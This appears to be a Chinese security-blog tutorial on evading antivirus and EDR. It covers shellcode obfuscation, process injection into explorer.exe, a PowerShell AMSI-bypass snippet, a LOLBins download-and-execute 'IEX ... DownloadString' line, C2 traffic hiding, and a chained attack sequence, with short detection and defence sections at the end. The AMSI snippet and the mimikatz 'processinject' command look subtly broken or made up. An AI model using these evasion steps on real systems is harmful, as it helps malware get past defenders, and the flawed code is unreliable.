写在前面:合法学习边界
免杀技术只用于授权靶场。对非授权系统免杀可能触犯法律。
一、免杀是什么
免杀(AV Evasion)是让恶意软件/工具不被杀毒软件/EDR 检测的技术。核心是绕过检测机制:静态特征匹配、行为分析、云查杀。
二、免杀技术层级图

三、shellcode 混淆
1
2
3
4
5
6
7
| shellcode 是一段机器码,直接执行系统调用。杀毒软件通过特征匹配识别 shellcode。
混淆方法:
1. 异或混淆:shellcode XOR 0x55,运行时还原
2. 字节替换:替换关键字节(nop 填充)
3. 分段混淆:分块加密,运行时拼接
4. 加密:AES/RC4 加密整个 shellcode
|
1
2
3
4
| 工具:
• shellcode 手动 XOR 混淆
• CS shellcode 混淆器(内置)
• MSF encoder(shikata_ga_nai)
|
四、进程注入
1
2
3
4
5
6
7
8
9
10
11
12
| 将 shellcode 注入合法进程(explorer.exe / svchost.exe)执行。
方法:
1. 创建远程线程(CreateRemoteThread)
2. Process Hollowing(空壳注入)
3. APC 注入
4. DLL 侧加载
工具:
• mimikatz:processinject
• CobaltStrike:execute-assembly
• PowerSploit:Invoke-PSInject
|
1
2
3
| # mimikatz 注入
privilege::debug
processinject <explorer_pid> x64 payload.bin
|
五、AMSI 绕过
AMSI(Antimalware Scan Interface)是 Windows 提供的反恶意软件接口,PowerShell/Script 执行前会通过 AMSI 扫描。
1
2
3
4
5
6
7
8
| 绕过方法:
1. Patch AMSI.dll 的 buffer 指针(最常见)
2. Patch AMSI 返回函数
3. 禁用 AMSI(需要高权限)
工具:
• PowerShdll(绕过 AMSI 加载 PowerShell 脚本)
• AMSI Bypass PowerShell 脚本(patch amsi.dll)
|
1
2
3
4
5
6
7
8
9
| # PowerShell AMSI bypass(经典)
$w = [Ref].Assembly.GetType('System.Runtime.InteropServices.WindowsRuntime')
$amsi = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -eq $false -and $_.Location.Contains('System.Management.Automation') } |
Select-Object -First 1
$buffer = $amsi.GetTypes() |
Where-Object { $_.Name -match 'AMSI' } |
Select-Object -First 1
$buffer.GetField('buffer').SetValue($null, [byte[]]@())
|
六、合法工具滥用(LOLBins)
1
2
3
4
5
6
7
8
9
| 利用 Windows 自带的合法工具执行恶意操作,绕过杀毒检测。
常用 LOLBins:
• PowerShell:IEX(New-Object Net.WebClient).DownloadString(...)
• MSBuild:编译并执行 .csproj(加载恶意 C#)
• WMI:wmic / winrm(执行命令)
• certutil:certutil -decode(解码文件)
• rundll32:加载 DLL 入口点
• mshta:执行 HTA 文件(含 JavaScript/VBScript)
|
七、C2 协议混淆
1
2
3
4
5
6
7
| C2(Command and Control)通信的流量特征可被检测。
混淆方法:
1. HTTPS + 合法证书:流量看起来像正常 HTTPS
2. DNS C2:流量伪装成 DNS 查询
3. xray 混淆:V2Ray 协议混在正常流量中
4. 代理隧道:通过 frp/DNS/ICMP 隧道
|
八、组合使用
1
2
3
4
| 典型组合:
shellcode XOR 混淆 → 注入 explorer.exe → AMSI bypass → HTTPS C2 → LOLBins 执行
每一步都增加检测难度,单独使用效果有限,组合使用才能上线。
|
九、检测
1
2
3
4
| • EDR 行为检测:异常进程父子关系、内存操作
• AMSI 日志:检测 AMSI buffer 修改
• 网络:C2 流量特征(高频/规律性)
• 注册表:LOLBins 异常参数调用
|
十、防御
1
2
3
4
5
6
| 1. EDR(行为检测,不只是签名)
2. ASR 规则(限制 Office/脚本创建子进程)
3. Credential Guard(防内存提取)
4. 内存完整性保护
5. 网络隔离(禁止直连公网)
6. 最小权限
|
十一、小结
免杀的核心是"理解检测机制 → 找到盲区 → 组合使用"。层级越高越难检测,但落地越复杂。防守的核心是 EDR 行为分析 + AMSI + ASR。